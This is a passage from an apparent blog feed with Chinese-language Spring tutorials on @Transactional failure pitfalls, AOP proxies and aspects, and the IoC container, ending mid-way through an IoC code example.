        <content type="html"><![CDATA[<h1 id="Spring-事务失效：那些年我们踩过的坑"><a href="#Spring-事务失效：那些年我们踩过的坑" class="headerlink" title="Spring 事务失效：那些年我们踩过的坑"></a>Spring 事务失效：那些年我们踩过的坑</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="坑一：同类方法内部调用"><a href="#坑一：同类方法内部调用" class="headerlink" title="坑一：同类方法内部调用"></a>坑一：同类方法内部调用</h2><p>这是最常见的坑！Spring 事务基于代理实现，同类内部调用不会经过代理：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">updateUser</span><span class="params">(Long id, String name)</span> &#123;</span><br><span class="line">        <span class="comment">// 这里调用没有经过代理，事务不生效！</span></span><br><span class="line">        doUpdate(id, name);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Transactional</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doUpdate</span><span class="params">(Long id, String name)</span> &#123;</span><br><span class="line">        <span class="comment">// 数据库操作</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>解决方案</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 注入自己，通过代理调用</span></span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> UserService self;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">updateUser</span><span class="params">(Long id, String name)</span> &#123;</span><br><span class="line">        self.doUpdate(id, name); <span class="comment">// 通过代理调用</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Transactional</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doUpdate</span><span class="params">(Long id, String name)</span> &#123;</span><br><span class="line">        <span class="comment">// 数据库操作</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="坑二：方法不是-public"><a href="#坑二：方法不是-public" class="headerlink" title="坑二：方法不是 public"></a>坑二：方法不是 public</h2><p>Spring 事务要求方法必须是 public：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 非 public 方法，事务不生效</span></span><br><span class="line">    <span class="meta">@Transactional</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">updateUser</span><span class="params">(Long id, String name)</span> &#123;</span><br><span class="line">        <span class="comment">// 数据库操作</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="坑三：异常被吞掉"><a href="#坑三：异常被吞掉" class="headerlink" title="坑三：异常被吞掉"></a>坑三：异常被吞掉</h2><p>事务需要异常向上抛出才能回滚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Transactional</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">transfer</span><span class="params">(Long fromId, Long toId, BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="comment">// 扣款</span></span><br><span class="line">            <span class="comment">// 打款</span></span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="comment">// 异常被吞掉，事务不会回滚！</span></span><br><span class="line">            log.error(<span class="string">&quot;转账失败&quot;</span>, e);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>正确做法</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Transactional(rollbackFor = Exception.class)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">transfer</span><span class="params">(Long fromId, Long toId, BigDecimal amount)</span> &#123;</span><br><span class="line">    <span class="comment">// 扣款</span></span><br><span class="line">    <span class="comment">// 打款</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="坑四：错误的异常类型"><a href="#坑四：错误的异常类型" class="headerlink" title="坑四：错误的异常类型"></a>坑四：错误的异常类型</h2><p>默认情况下，Spring 只对 RuntimeException 回滚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Transactional</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">transfer</span><span class="params">(Long fromId, Long toId, BigDecimal amount)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">    <span class="comment">// 如果抛出 checked exception，事务不会回滚！</span></span><br><span class="line">    <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">Exception</span>(<span class="string">&quot;转账失败&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>解决方案</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Transactional(rollbackFor = Exception.class)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">transfer</span><span class="params">(Long fromId, Long toId, BigDecimal amount)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">    <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">Exception</span>(<span class="string">&quot;转账失败&quot;</span>); <span class="comment">// 现在会回滚</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="坑五：多数据源配置问题"><a href="#坑五：多数据源配置问题" class="headerlink" title="坑五：多数据源配置问题"></a>坑五：多数据源配置问题</h2><p>如果配置了多个数据源，需要指定事务管理器：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> DataSourceTransactionManager transactionManager;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Transactional(transactionManager = &quot;transactionManager&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">updateUser</span><span class="params">(Long id, String name)</span> &#123;</span><br><span class="line">        <span class="comment">// 数据库操作</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="坑六：不支持事务的存储引擎"><a href="#坑六：不支持事务的存储引擎" class="headerlink" title="坑六：不支持事务的存储引擎"></a>坑六：不支持事务的存储引擎</h2><p>MySQL 的 MyISAM 不支持事务，必须使用 InnoDB：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 错误：MyISAM 不支持事务</span></span><br><span class="line"><span class="keyword">CREATE TABLE</span> users (</span><br><span class="line">    id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span></span><br><span class="line">) ENGINE<span class="operator">=</span>MyISAM;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 正确：使用 InnoDB</span></span><br><span class="line"><span class="keyword">CREATE TABLE</span> users (</span><br><span class="line">    id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span></span><br><span class="line">) ENGINE<span class="operator">=</span>InnoDB;</span><br></pre></td></tr></table></figure><h2 id="坑七：嵌套事务问题"><a href="#坑七：嵌套事务问题" class="headerlink" title="坑七：嵌套事务问题"></a>坑七：嵌套事务问题</h2><p>默认情况下，嵌套事务会使用同一个事务：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> UserService userService;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Transactional</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createOrder</span><span class="params">(Long userId)</span> &#123;</span><br><span class="line">        <span class="comment">// 创建订单</span></span><br><span class="line">        userService.updateBalance(userId); <span class="comment">// 会加入同一个事务</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果需要独立事务，可以使用 <code>REQUIRES_NEW</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Transactional(propagation = Propagation.REQUIRES_NEW)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">updateBalance</span><span class="params">(Long userId)</span> &#123;</span><br><span class="line">    <span class="comment">// 独立事务</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="坑八：事务超时设置"><a href="#坑八：事务超时设置" class="headerlink" title="坑八：事务超时设置"></a>坑八：事务超时设置</h2><p>长时间运行的事务可能超时：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Transactional(timeout = 30)</span> <span class="comment">// 30秒超时</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">batchUpdate</span><span class="params">(List&lt;User&gt; users)</span> &#123;</span><br><span class="line">    <span class="comment">// 批量更新</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>Spring 事务失效的原因主要集中在：</p><ol><li>代理机制问题（内部调用、非 public 方法）</li><li>异常处理不当（吞掉异常、错误的异常类型）</li><li>配置问题（多数据源、存储引擎）</li><li>事务传播配置错误</li></ol><p>写这篇文章时，我回顾了之前项目中遇到的各种事务问题。很多时候问题不是 Spring 的问题，而是我们对它的机制理解不够深入。希望这些经验能帮你避免类似的坑。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring AOP 原理与实战：切面编程原来这么简单</title>
      <link href="//spring-aop-de-yuan-li-he-chang-jian-ying-yong/"/>
      <url>//spring-aop-de-yuan-li-he-chang-jian-ying-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-AOP-原理与实战：切面编程原来这么简单"><a href="#Spring-AOP-原理与实战：切面编程原来这么简单" class="headerlink" title="Spring AOP 原理与实战：切面编程原来这么简单"></a>Spring AOP 原理与实战：切面编程原来这么简单</h1><p>AOP 是 Spring 的核心功能之一，但真正用起来容易踩坑。很多人知道 @Aspect 注解，却不清楚代理模式的区别、切面的执行顺序、以及自调用失效的问题。本文从配置到常见问题，把实际项目中的处理思路整理出来。</p><h2 id="AOP-的核心概念"><a href="#AOP-的核心概念" class="headerlink" title="AOP 的核心概念"></a>AOP 的核心概念</h2><p>在开始之前，先明确几个关键术语：</p><table><thead><tr><th>术语</th><th>说明</th></tr></thead><tbody><tr><td><strong>切面 (Aspect)</strong></td><td>横切关注点的模块化，比如日志切面</td></tr><tr><td><strong>连接点 (JoinPoint)</strong></td><td>程序执行的某个特定位置，如方法调用</td></tr><tr><td><strong>切点 (Pointcut)</strong></td><td>匹配连接点的表达式，决定哪些方法被增强</td></tr><tr><td><strong>通知 (Advice)</strong></td><td>具体的增强逻辑，如前置通知、后置通知</td></tr></tbody></table><h2 id="动态代理机制"><a href="#动态代理机制" class="headerlink" title="动态代理机制"></a>动态代理机制</h2><p>Spring AOP 底层基于动态代理实现，主要有两种方式：</p><p>#</p><h2 id="1-JDK-动态代理"><a href="#1-JDK-动态代理" class="headerlink" title="1. JDK 动态代理"></a>1. JDK 动态代理</h2><p>适合代理实现了接口的类：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">JdkProxyExample</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">UserService</span> <span class="variable">target</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">UserServiceImpl</span>();</span><br><span class="line">        </span><br><span class="line">        <span class="type">UserService</span> <span class="variable">proxy</span> <span class="operator">=</span> (UserService) Proxy.newProxyInstance(</span><br><span class="line">            target.getClass().getClassLoader(),</span><br><span class="line">            target.getClass().getInterfaces(),</span><br><span class="line">            (proxyObj, method, args1) -&gt; &#123;</span><br><span class="line">                System.out.println(<span class="string">&quot;方法执行前&quot;</span>);</span><br><span class="line">                <span class="type">Object</span> <span class="variable">result</span> <span class="operator">=</span> method.invoke(target, args1);</span><br><span class="line">                System.out.println(<span class="string">&quot;方法执行后&quot;</span>);</span><br><span class="line">                <span class="keyword">return</span> result;</span><br><span class="line">            &#125;</span><br><span class="line">        );</span><br><span class="line">        </span><br><span class="line">        proxy.getUser(<span class="number">1L</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-CGLIB-代理"><a href="#2-CGLIB-代理" class="headerlink" title="2. CGLIB 代理"></a>2. CGLIB 代理</h2><p>适合没有实现接口的类：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CglibProxyExample</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">Enhancer</span> <span class="variable">enhancer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Enhancer</span>();</span><br><span class="line">        enhancer.setSuperclass(UserService.class);</span><br><span class="line">        enhancer.setCallback((MethodInterceptor) (obj, method, args, proxy) -&gt; &#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;方法执行前&quot;</span>);</span><br><span class="line">            <span class="type">Object</span> <span class="variable">result</span> <span class="operator">=</span> proxy.invokeSuper(obj, args);</span><br><span class="line">            System.out.println(<span class="string">&quot;方法执行后&quot;</span>);</span><br><span class="line">            <span class="keyword">return</span> result;</span><br><span class="line">        &#125;);</span><br><span class="line">        </span><br><span class="line">        <span class="type">UserService</span> <span class="variable">proxy</span> <span class="operator">=</span> (UserService) enhancer.create();</span><br><span class="line">        proxy.getUser(<span class="number">1L</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实战：自定义日志切面"><a href="#实战：自定义日志切面" class="headerlink" title="实战：自定义日志切面"></a>实战：自定义日志切面</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Aspect</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LogAspect</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Logger</span> <span class="variable">logger</span> <span class="operator">=</span> LoggerFactory.getLogger(LogAspect.class);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 匹配 com.example.service 包下所有方法</span></span><br><span class="line">    <span class="meta">@Pointcut(&quot;execution(* com.example.service.*.*(..))&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">serviceMethods</span><span class="params">()</span> &#123;&#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Before(&quot;serviceMethods()&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">before</span><span class="params">(JoinPoint joinPoint)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">methodName</span> <span class="operator">=</span> joinPoint.getSignature().getName();</span><br><span class="line">        Object[] args = joinPoint.getArgs();</span><br><span class="line">        logger.info(<span class="string">&quot;方法 &#123;&#125; 开始执行，参数：&#123;&#125;&quot;</span>, methodName, Arrays.toString(args));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@AfterReturning(pointcut = &quot;serviceMethods()&quot;, returning = &quot;result&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">afterReturning</span><span class="params">(JoinPoint joinPoint, Object result)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">methodName</span> <span class="operator">=</span> joinPoint.getSignature().getName();</span><br><span class="line">        logger.info(<span class="string">&quot;方法 &#123;&#125; 执行成功，返回：&#123;&#125;&quot;</span>, methodName, result);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@AfterThrowing(pointcut = &quot;serviceMethods()&quot;, throwing = &quot;ex&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">afterThrowing</span><span class="params">(JoinPoint joinPoint, Throwable ex)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">methodName</span> <span class="operator">=</span> joinPoint.getSignature().getName();</span><br><span class="line">        logger.error(<span class="string">&quot;方法 &#123;&#125; 执行失败，异常：&#123;&#125;&quot;</span>, methodName, ex.getMessage());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="常见应用场景"><a href="#常见应用场景" class="headerlink" title="常见应用场景"></a>常见应用场景</h2><p>#</p><h2 id="1-事务管理"><a href="#1-事务管理" class="headerlink" title="1. 事务管理"></a>1. 事务管理</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Transactional(rollbackFor = Exception.class)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">transfer</span><span class="params">(Long fromId, Long toId, BigDecimal amount)</span> &#123;</span><br><span class="line">    <span class="comment">// 转账逻辑</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-权限校验"><a href="#2-权限校验" class="headerlink" title="2. 权限校验"></a>2. 权限校验</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Aspect</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AuthAspect</span> &#123;</span><br><span class="line">    <span class="meta">@Before(&quot;@annotation(com.example.annotation.RequireLogin)&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">checkLogin</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 检查用户是否登录</span></span><br><span class="line">        <span class="keyword">if</span> (SecurityContextHolder.getContext().getAuthentication() == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">UnauthorizedException</span>(<span class="string">&quot;请先登录&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-性能监控"><a href="#3-性能监控" class="headerlink" title="3. 性能监控"></a>3. 性能监控</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Around(&quot;execution(* com.example.controller.*.*(..))&quot;)</span></span><br><span class="line"><span class="keyword">public</span> Object <span class="title function_">monitorPerformance</span><span class="params">(ProceedingJoinPoint joinPoint)</span> <span class="keyword">throws</span> Throwable &#123;</span><br><span class="line">    <span class="type">long</span> <span class="variable">startTime</span> <span class="operator">=</span> System.currentTimeMillis();</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> joinPoint.proceed();</span><br><span class="line">    &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">        <span class="type">long</span> <span class="variable">endTime</span> <span class="operator">=</span> System.currentTimeMillis();</span><br><span class="line">        logger.info(<span class="string">&quot;方法 &#123;&#125; 执行耗时：&#123;&#125;ms&quot;</span>, </span><br><span class="line">            joinPoint.getSignature().getName(), </span><br><span class="line">            endTime - startTime);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="注意事项"><a href="#注意事项" class="headerlink" title="注意事项"></a>注意事项</h2><ol><li><strong>避免滥用</strong>：不要把业务逻辑写在切面里</li><li><strong>性能考虑</strong>：切面会增加方法调用开销，高频方法慎用</li><li><strong>自调用问题</strong>：同类内部调用不会触发切面</li><li><strong>优先级</strong>：多个切面的执行顺序需要明确配置</li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>AOP 是一个非常实用的工具，能有效分离关注点。理解它的动态代理原理，能帮助我们更好地排查问题。实际项目中，我通常用它来处理日志、事务、权限这些通用逻辑，让业务代码更干净。</p><p>写这篇文章时，我特意写了几个测试用例验证不同场景下的切面行为。实践出真知，理论看再多不如动手写一遍。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>JDK 动态代理和 CGLIB 代理的区别：前者基于接口，后者基于类</p></li><li><p>切面的优先级由 @Order 注解控制，数字越小优先级越高</p></li><li><p>自调用问题的原因是内部方法调用不会经过代理对象</p></li><li><p>使用 ProxyUtils 或暴露 AopContext 可以解决自调用问题</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>AOP 是实现横切关注点的利器，但需要理解其底层机制才能用好。在实际项目中，日志、事务、权限校验都是 AOP 的典型应用场景。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring IoC 容器：它到底帮我们解决了什么问题？</title>
      <link href="//spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/"/>
      <url>//spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-IoC-容器：它到底帮我们解决了什么问题？"><a href="#Spring-IoC-容器：它到底帮我们解决了什么问题？" class="headerlink" title="Spring IoC 容器：它到底帮我们解决了什么问题？"></a>Spring IoC 容器：它到底帮我们解决了什么问题？</h1><p>IoC 容器是 Spring 的根基，很多开发者每天在用却未必能说清它解决了什么。从手动 new 对象到依赖注入，这个转变看似简单，却带来了巨大的设计优势。本文从实际使用场景出发，理解依赖注入的价值。</p><h2 id="没有-IoC-时的困境"><a href="#没有-IoC-时的困境" class="headerlink" title="没有 IoC 时的困境"></a>没有 IoC 时的困境</h2><p>在没有 Spring 之前，我们是这样写代码的：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">UserService</span> <span class="variable">userService</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">UserServiceImpl</span>();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">getById</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.getById(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这种方式有什么问题？</p><ol><li><strong>耦合度高</strong>：Controller 直接依赖具体实现类</li><li><strong>难以测试</strong>：无法轻松替换 UserService 的实现</li><li><strong>扩展性差</strong>：修改实现需要改动大量代码</li></ol><h2 id="IoC-带来的改变"><a href="#IoC-带来的改变" class="headerlink" title="IoC 带来的改变"></a>IoC 带来的改变</h2><p>使用 Spring IoC 后：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 构造器注入，Spring 负责创建和注入依赖</span></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">getById</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.getById(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>IoC 带来的核心价值：</p><p>#</p><h2 id="1-依赖注入（DI）"><a href="#1-依赖注入（DI）" class="headerlink" title="1. 依赖注入（DI）"></a>1. 依赖注入（DI）</h2><p>对象不再自己创建依赖，而是由容器注入：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserServiceImpl</span> <span class="keyword">implements</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserRepository userRepository;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserServiceImpl</span><span class="params">(UserRepository userRepository)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userRepository = userRepository;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-控制反转"><a href="#2-控制反转" class="headerlink" title="2. 控制反转"></a>2. 控制反转</h2><p>控制权从代码转移到容器：</p><ul><li><strong>传统方式</strong>：开发者主动创建对象</li><li><strong>IoC 方式</strong>：容器负责对象的生命周期管理</li></ul><p>#</p><h2 id="3-松耦合"><a href="#3-松耦合" class="headerlink" title="3. 松耦合"></a>3. 松耦合</h2><p>依赖抽象而非具体实现：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 依赖接口</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 可以轻松替换实现</span></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserServiceMock</span> <span class="keyword">implements</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    <span class="comment">// Mock 实现</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="IoC-容器的核心能力"><a href="#IoC-容器的核心能力" class="headerlink" title="IoC 容器的核心能力"></a>IoC 容器的核心能力</h2><p>#</p><h2 id="1-Bean-的创建和管理"><a href="#1-Bean-的创建和管理" class="headerlink" title="1. Bean 的创建和管理"></a>1. Bean 的创建和管理</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 声明式定义 Bean</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AppConfig</span> &#123;</span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> RestTemplate <span class="title function_">restTemplate</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">RestTemplate</span>();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-生命周期管理"><a href="#2-生命周期管理" class="headerlink" title="2. 生命周期管理"></a>2. 生命周期管理</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MyBean</span> <span class="keyword">implements</span> <span class="title class_">InitializingBean</span>, DisposableBean &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">afterPropertiesSet</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="comment">// 初始化逻辑</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">destroy</span><span 